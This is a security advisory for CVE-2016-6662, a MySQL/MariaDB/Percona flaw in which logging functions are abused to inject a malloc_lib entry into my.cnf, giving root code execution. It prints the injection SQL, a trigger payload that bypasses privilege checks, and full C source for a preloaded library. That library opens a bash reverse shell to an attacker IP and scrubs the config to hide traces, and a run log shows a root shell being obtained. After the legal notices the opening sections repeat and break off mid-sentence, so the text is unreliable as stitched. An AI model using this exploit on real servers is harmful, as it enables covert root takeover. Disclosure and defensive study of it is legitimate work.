=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com
- CVE-2016-6662
- Release date: 12.09.2016
- Last updated: 23.09.2016
- Revision: 3
- Severity: Critical
=============================================
I. VULNERABILITY
-------------------------
MySQL <= 5.7.14 Remote Root Code Execution / Privilege Escalation (0day)
5.6.32
5.5.51
MySQL clones are also affected, including:
MariaDB
PerconaDB
II. BACKGROUND
-------------------------
"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."
"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."
http://www.mysql.com/products/
http://www.mysql.com/why-mysql/
http://db-engines.com/en/system/MySQL
III. INTRODUCTION
-------------------------
An independent research has revealed multiple severe MySQL vulnerabilities.
This advisory focuses on a critical vulnerability with a CVEID of CVE-2016-6662
which can allow attackers to (remotely) inject malicious settings into MySQL
configuration files (my.cnf) leading to critical consequences.
The vulnerability affects all MySQL servers in default configuration in all
version branches (5.7, 5.6, and 5.5) including the latest versions, and could
be exploited by both local and remote attackers.
Both the authenticated access to MySQL database (via network connection or web
interfaces such as phpMyAdmin) and SQL Injection could be used as exploitation
vectors.
As SQL Injection attacks are one of the most common issues in web applications,
the CVE-2016-6662 vulnerabilty could put web applications at a critical risk in
case of a successful SQL Injection attack.
A successful exploitation could allow attackers to execute arbitrary code with
root privileges which would then allow them to fully compromise the server on
which an affected version of MySQL is running.
The vulnerability can be exploited even if security modules SELinux and AppArmor
are installed with default active policies for MySQL service on major Linux
distributions.
This advisory provides a Proof-Of-Concept MySQL exploit which demonstrates how
Remote Root Code Execution could be achieved by attackers.
IV. DESCRIPTION
-------------------------
The default MySQL package comes with a mysqld_safe script which is used by many
default installations/packages of MySQL as a wrapper to start the MySQL service
process which can observed, for example, in case of the following fully-updated
Debian system:
[email protected]:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
[email protected]:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
After starting MySQL (installed from packages provided in the default Debian repositories) by running
[email protected]:~# service mysql start
or, alternatively:
[email protected]:~# /etc/init.d/mysql start
The MySQL server process tree looks as follows:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
As can be seen, the mysqld_safe wrapper script is executed as root, whereas the
main mysqld process drops its privileges to mysql user.
The wrapper script has the following function :
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
which can be used to preload a shared library before starting the server.
The library can be set with the following parameter:
--malloc-lib=LIB
This parameter can also be specified within a mysql config file (my.cnf)
in a '[mysqld]' or '[mysqld_safe]' section.
If an attacker managed to inject a path to their malicious library within the
config, they would be able to preload an arbitrary library and thus execute
arbitrary code with root privileges when MySQL service is restarted.
The restart could be triggered manually, via a system update, package update
(including an update of dependencies), system reboot etc.).
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
In 2003 a vulnerability was disclosed in MySQL versions before 3.23.55 that
allowed users to create mysql config files with a simple statement:
SELECT * INTO OUTFILE '/var/lib/mysql/my.cnf'
The issue was fixed by refusing to load config files with world-writable
permissions as these are the default permissions applied to files created
by OUTFILE query.
As an additional protection, OUTFILE/DUMPFILE statements are prohibited from
overwrite existing files.
This protects existing configuration files.
The old vulnerability has been considered fixed ever since the MySQL 3.23.55
was released in 2003, and writing to configuration files has been considered
impossible.
However, the V. PROOF OF CONCEPT section below will show that it is possible to
successfully bypass current restrictions by abusing MySQL logging functions
(available in every MySQL install by default) to achieve the following:
1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user)
(SCENARIO 1).
2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permissions (SCENARIO 2).
3) Attackers with only SELECT/FILE permissions can gain access to logging
functions (normally only available to MySQL admin users) on all of the
_default_ MySQL installations and thus be in position to add/modify MySQL
config files.
Update (16/09/2016):
The proof of concept details below should be read closely as there have been
some misconceptions noticed on some security forums which incorrectly try
to lessen the severity of this vulnerability due to a lack of correct
understanding of the issues presented in this advisory.
It should be noted that:
* SCENARIO 2 (point 2 above) is _independent_ of SCENARIO 1 (point 1 above).
I.e the config injection vulnerability which ultimately leads to loading
arbitrary malicious shared libraries CAN be exploited EVEN if there are NO
my.cnf config files with insecure permissions available on the system.
In other words, weak permissions are NOT a requirement for exploitation, and
the vulnerability CAN be exploit on affected DEFAULT PerconaDB/MariaDB/MySQL
installations with CORRECT permissions set on ALL my.cnf files available on
the system by default.
The SCENARIO 1 has only been presented as it makes the exploit code much
simpler and allows to explain the logging abuse/config injection vulnerability
without exposing default installations (SCENARIO 2) to an immediate risk.
* The researcher has created a private working PoC that has not been shared
publicly which CAN successfully exploit SCENARIO 2 (default setup/no incorrect
permissions on any of the default my.cnf config files). As noted both in the
section below as well as in the current PoC exploit's comments, the current
PoC is limited. It has been purposefully limited to protect immediate
exploitation of default installations (no incorrect perms on my.cnf) and give
users time to react to the vulnerability.
* A successful exploitation of SCENARIO 2 (no my.cnf available with weak perms)
leading to root privilege escalation/code execution can _ALSO_ (however is NOT a
requirement) be achieved by means of a (separate) vulnerability: CVE-2016-6663.
PoC has been created by the author of this advisory but not released publicly.
* The logging facility CAN be accessed by standard users with SELECT/FILE
privileges only. I.e SUPER privilege is NOT required to create malicious triggers
which contain the malicious payload that grants the attacker access to the
logging facility DESPITE the LACK of administrative privileges.
This has been explained in the section below (see point 3 in the section below)
and proven in the current PoC in this advisory and can also be observed in the
replication steps (see VI. section) that show the attacker database account
permissions (the attacker DB account is NOT assigned SUPER permissions).
* The exploitation requires a restart that could happen via a number of ways.
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
V. PROOF OF CONCEPT
-------------------------
1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user).
(SCENARIO 1)
~~~~~~~~~~~~~~~~~~~~~~~~~
MySQL configuration files are loaded from all supported locations and processed
one by one when mysqld_safe script is executed.
Exact config locations depend on MySQL version.
For example, as described on:
http://dev.mysql.com/doc/refman/5.5/...ion-files.html
for MySQL 5.5 the config locations include:
/etc/my.cnf Global options
/etc/mysql/my.cnf Global options
SYSCONFDIR/my.cnf Global options
$MYSQL_HOME/my.cnf Server-specific options
defaults-extra-file The file specified with --defaults-extra-file=file_name, if any
~/.my.cnf User-specific options
There is a common misconception that mysql config files should be owned by mysql
user for the server to work properly.
Many installation guides, or even security guides often wrongly advise users
to set the ownership of mysql config files/directories such as /etc/mysql
or /etc/my.cnf to mysql user.
For example:
https://github.com/willfong/mariadb-...ster/README.md
says:
"Lock down permissions on config file(s)
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf"
Whereas the article at:
http://www.devshed.com/c/a/mysql/sec...es-with-mysql/
mentions:
"You should also protect the global option file, /etc/my.cnf, if it exists.
The mysql user should own it and have read/write access to it, but other users
need only read access:
shell> chown mysql /etc/my.cnf"
Moreover, there are also MySQL recipes for installation automation software
such as Chef that also provide users with vulnerable permissions on my.cnf
config files.
If any of the MySQL config files is owned by mysql user, an attacker could
append malicious config entries to it as follows:
[email protected]:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
[email protected]:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
Attacker could run the following SQL queries:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
The resulting config would then have the following part appended:
[email protected]:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
This config contains some redundant information that would normally cause MySQL
to fail to startup during a restart due to parsing issues.
However, the important part is that the config now contains the section:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
mysqld_safe will read the shared library path correctly and add it to
the LD_PRELOAD environment variable before the startup of mysqld daemon.
The preloaded library can then hook the libc fopen() calls and clean up
the config before it is ever processed by mysqld daemon in order for it
to start up successfully so that the compromise goes unnoticed by the
system administrators etc.
~~~~~~~~~~~~~~~~~~~~~~~~~
2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permissions.
(SCENARIO 2)
Analysis of the mysqld_safe script has shown that in addition to the
config locations provided above, mysqld_safe also loads the configuration file
from the mysql data directory (/var/lib/mysql/my.cnf) by default as can be
seen below:
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
on MySQL versions in branches 5.5 and 5.6.
The datadir location for my.cnf has only been removed from MySQL starting
from 5.7 branch however in many configurations it will still load config
from:
/var/lib/mysql/.my.cnf
The data directory /var/lib/mysql is (obviously) writable by mysql user on
every install:
[email protected]:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
Therefore, if no mysql-owned configs are available on the system, an attacker
could still be able to exploit the vulnerability by creating a config at the
following locations:
/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf
As mentioned, using FILE permission to create such a file with the SQL statement:
SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
would not work, as MySQL creates files with rw permissions for the world:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
and MySQL would prevent such world-writable config from being loaded at startup.
Attackers could bypass this however by using these logging SQL statements:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
The queries will create the my.cnf file with the necessary permissions
(without o-w bit) for it to be parsed by the MySQL daemon:
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
The file will have the following contents:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
One problem will remain however. MySQL will refuse files that do not start with
a valid [section] header with the message:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted
Further testing has however proven that IT IS possible to bypass this security
restriction as well but this will not be included in this advisory/PoC for the
time being.
It is worth to note that attackers could use one of the other vulnerabilities
discovered by the author of this advisory which has been assigned a CVEID of
CVE-2016-6663 and is pending disclosure.
The undisclosed vulnerability makes it easy for certain attackers to create
/var/lib/mysql/my.cnf file with arbitrary contents without the FILE privilege
requirement.
~~~~~~~~~~~~~~~~~~~~~~~~~
3) Attackers with only SELECT/FILE permissions can gain access to logging functions
(normally only available to MySQL admin users) on all of the _default_ MySQL
installations and thus be in position to add/modify MySQL config files.
If attackers do not have administrative rights required to access logging settings
and only have standard user privileges with the addition of FILE privilege then
they could still gain the ability to write to / modify configuration files.
This could be achieved by writing a malicious trigger payload - a trigger
definition that is an _equivalent_ to the following statement:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
into a trigger definition/configuration file (.TRG) of an actively used table
('active_table') with the use of a statement similar to:
SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
Note that _only_ the above SELECT statement is required to write out the trigger
definition by abusing the power of FILE privilege.
The CREATE TRIGGER statement is _never_ executed and is not necessary. This
means that SUPER privilege is not necessary either. See the exploit code for
details.
Such trigger will be loaded when tables get flushed. From this point on
whenever an INSERT statement is invoked on the table, e.g:
INSERT INTO `active_table` VALUES('xyz');
The trigger's code will be executed with mysql root/admin privileges (notice
'DEFINER' above) and will thus let attacker to modify the general_log settings
despite the lack of administrative/SUPER privileges through their user account
(with SELECT/FILE privileges only).
------------------
VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit
----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
---------------------------------------------------
----------[ mysql_hookandroot_lib.c ]--------------
/*
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c
This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse and provides a root shell on the
target.
mysqld_safe will load this library through the following setting:
[mysqld]
malloc_lib=mysql_hookandroot_lib.so
in one of the my.cnf config files (e.g. /etc/my.cnf).
This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.
Before compiling adjust IP / PORT and config path.
~~
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
~~
Compilation (remember to choose settings compatible with the remote OS/arch):
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/M...-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
------------------------------------------------
Replication / testing:
~~~~~~~~~~~~~~~~~~
As admin on the target system:
~~~~~~~~
1. Set up a test database account/permissions:
CREATE DATABASE pocdb;
GRANT FILE ON TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2. Simulate write access on any of available mysql configs.
It just needs to be a valid/parsable config with section e.g:
[isamchk]
key_buffer = 16M
For example, /etc/mysql/my.cnf on Debian:
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3. Run the exploit as the attacker and restart mysql when exploit
is done.
Note that attackers could be able to force this step remotely by
issuing a remote SHUTDOWN command/SQL statement.
As attacker:
~~~~~~~~
1. Enter your library path in mysql_hookandroot_lib.c src.
2. Run the 0ldSQL_MySQL_RCE_exploit.py script.
Example run:
~~~~~~~~
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Connecting to target server 192.168.1.10 and target mysql account '[email protected]' using DB 'pocdb'
[+] The account in use has the following grants/perms:
GRANT FILE ON TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'
[+] Compiling mysql_hookandroot_lib.so
[+] Converting mysql_hookandroot_lib.so into HEX
[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG
[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target
[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded
[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf
[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected
[mysql]
#no-auto-rehash # faster start of mysql but no tab completition
[isamchk]
key_buffer = 16M
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160912 8:48:41 44 Query select "
# 0ldSQL_MySQL_RCE_exploit got here
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void
44 Query SET global general_log = off
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it
[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell...
listening on [any] 6033 ...
connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql
[email protected]:/# exit
exit
exit
[+] Shell closed. Hope you had fun.
[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required)
[+] Exiting (code: 0)
VII. BUSINESS IMPACT
-------------------------
As discussed above the vulnerability could be exploited by attackers with both
privileged and unprivileged (with FILE privilege only) access to mysql accounts.
It could also be combined with CVE-2016-6663 vulnerability which will be released
shortly and could allow certain attackers to escalate their privileges to root
even without FILE privilege.
The vulnerability could also be exploited via an SQL injection vector, which
removes the need for the attackers to have direct mysql connection and increases
the risk of exploitation.
Successful exploitation could gain a attacker a remote shell with root privileges
which would allow them to fully compromise the remote system.
If exploited, the malicious code would run as soon as MySQL daemon gets
restarted.
As mentioned, the restart could be triggered manually, via a system update,
package update (including an update of dependencies), system reboot etc.).
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
VIII. SYSTEMS AFFECTED
-------------------------
All MySQL versions from the oldest versions to the latest shown at the beginnig
of this advisory.
Some systems run MySQL via Systemd and provide direct startup path to mysqld
daemon instead of using mysqld_safe wrapper script. These systems however are
also at risk as mysqld_safe may be called on update by the installation scripts
or some other system services. It could also be triggered manually by
administrators running mysqld_safe as a habit.
Because the exploit only accesses files normally used by MySQL server (
such as the config), and the injected library is preloaded by mysqld_safe startup
scripta not included within the default policies, the vulnerability can be
exploited even if security modules as SELinux and AppArmor are installed with
active security policies for the MySQL daemon.
IX. VENDOR RESPONSE / SOLUTION
-------------------------
The vulnerability was reported to Oracle on 29th of July 2016 and triaged
by the security team.
It was also reported to the other affected vendors including PerconaDB and MariaDB.
The vulnerabilities were patched by PerconaDB and MariaDB vendors in all branches
by 30th of August.
During the course of the patching process by these vendors the patches went into
public repositories and the fixed security issues were also mentioned in the
new releases which could be noticed by malicious attackers.
As over 40 days have passed since reporting the issues and patches were already
mentioned publicly (by Percona and MariaDB) , a decision was made to start
disclosing vulnerabilities (with limited PoC) to inform users about the risks
before the vendor's next CPU update (scheduled for 18th of October).
No official patches or mitigations are available at this time from the vendor.
As temporary mitigations, users should ensure that no mysql config files are
owned by mysql user, and create root-owned dummy my.cnf files that are not in
use.
These are by no means a complete solution and users should apply official vendor
patches as soon as they become available.
Update (16/09/2016):
It has been found that the vendor silently (i.e. without notifing the researcher
via a direct communication despite the ongoing private communication via email,
nor via releasing an immediate public Security Alert to publicly announce the
critical fixes) released security patches for the CVE-2016-6662 vulnerability in
the following releases:
https://dev.mysql.com/doc/relnotes/m...ws-5-7-15.html
https://dev.mysql.com/doc/relnotes/m...ws-5-6-33.html
https://dev.mysql.com/doc/relnotes/m...ws-5-5-52.html
which changes the vulnerable/exploitable version list to the following:
MySQL <= 5.7.14
5.6.32
5.5.51
X. REFERENCES
-------------------------
http://legalhackers.com
http://legalhackers.com/advisories/M...2016-6662.html
Source codes from the advisory:
http://legalhackers.com/exploits/0ld...RCE_exploit.py
http://legalhackers.com/exploits/mys...kandroot_lib.c
MySQL releases containing security fixes:
https://dev.mysql.com/doc/relnotes/m...ws-5-5-52.html
https://dev.mysql.com/doc/relnotes/m...ws-5-6-33.html
https://dev.mysql.com/doc/relnotes/m...ws-5-7-15.html
which can be downloaded from:
http://dev.mysql.com/downloads/mysql/
https://mariadb.org/mariadb-server-v...cve-2016-6662/
https://security-tracker.debian.org/.../CVE-2016-6662
https://cve.mitre.org/cgi-bin/cvenam...=CVE-2016-6662
The old vulnerability fixed in MySQL version 3.23.55:
https://cve.mitre.org/cgi-bin/cvenam...=CVE-2003-0150
XI. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XII. REVISION HISTORY
-------------------------
12.09.2016 - Advisory released publicly as 0day
16.09.2016 - Updated the IV section with important notes to clarify
misconceptions observed on some security forums.
16.09.2016 - Updated the IX section to add information about fixed releases
along with I and II sections to reflect these.
22.09.2016 - Updated V. 3) section and fixed some typos.
23.09.2016 - Added notes about potential use of SHUTDOWN command/SQL statement
that remote attackers could use in order to speed up the restart.
XIII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
https://vimeo.com/182823986 https://vimeo.com/182827257
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com
- CVE-2016-6662
- Release date: 12.09.2016
- Last updated: 23.09.2016
- Revision: 3
- Severity: Critical
=============================================
I. VULNERABILITY
-------------------------
MySQL <= 5.7.14 Remote Root Code Execution / Privilege Escalation (0day)
5.6.32
5.5.51
MySQL clones are also affected, including:
MariaDB
PerconaDB
II. BACKGROUND
-------------------------
"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."
"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."
http://www.mysql.com/products/
http://www.mysql.com/why-mysql/
http://db-engines.com/en/system/MySQL
III. INTRODUCTION
-------------------------
An independent research has revealed multiple severe MySQL vulnerabilities.
This advisory focuses on a critical vulnerability with a CVEID of CVE-2016-6662
which can allow attackers to (remotely) inject malicious settings into MySQL
configuration files (my.cnf) leading to critical consequences.
The vulnerability affects all MySQL servers in default configuration in all
version branches (5.7, 5.6, and 5.5) including the latest versions, and could
be exploited by both local and remote attackers.
Both the authenticated access to MySQL database (via network connection or web
interfaces such as phpMyAdmin) and SQL Injection could be used as exploitation
vectors.
As SQL Injection attacks are one of the most common issues in web applications,
the CVE-2016-6662 vulnerabilty could put web applications at a critical risk in
case of a successful SQL Injection attack.
A successful exploitation could allow attackers to execute arbitrary code with
root privileges which would then allow them to fully compromise the server on
which an affected version of MySQL is running.
The vulnerability can be exploited even if security modules SELinux and AppArmor
are installed with default active policies for MySQL service on major Linux
distributions.
This advisory provides a Proof-Of-Concept MySQL exploit which demonstrates how
Remote Root Code Execution could be achieved by attackers.
IV. DESCRIPTION
-------------------------
The default MySQL package comes with a mysqld_safe script which is used by many
default installations/packages of MySQL as a wrapper to start the MySQL service
process which can observed, for example, in case of the following fully-updated
Debian system:
[email protected]:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
[email protected]:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
After starting MySQL (installed from packages provided in the default Debian repositories) by running
[email protected]:~# service mysql start
or, alternatively:
[email protected]:~# /etc/init.d/mysql start
The MySQL server process tree looks as follows:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
As can be seen, the mysqld_safe wrapper script is executed as root, whereas the
main mysqld process drops its privileges to mysql user.
The wrapper script has the following function :
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
which can be used to preload a shared library before starting the server.
The library can be set with the following parameter:
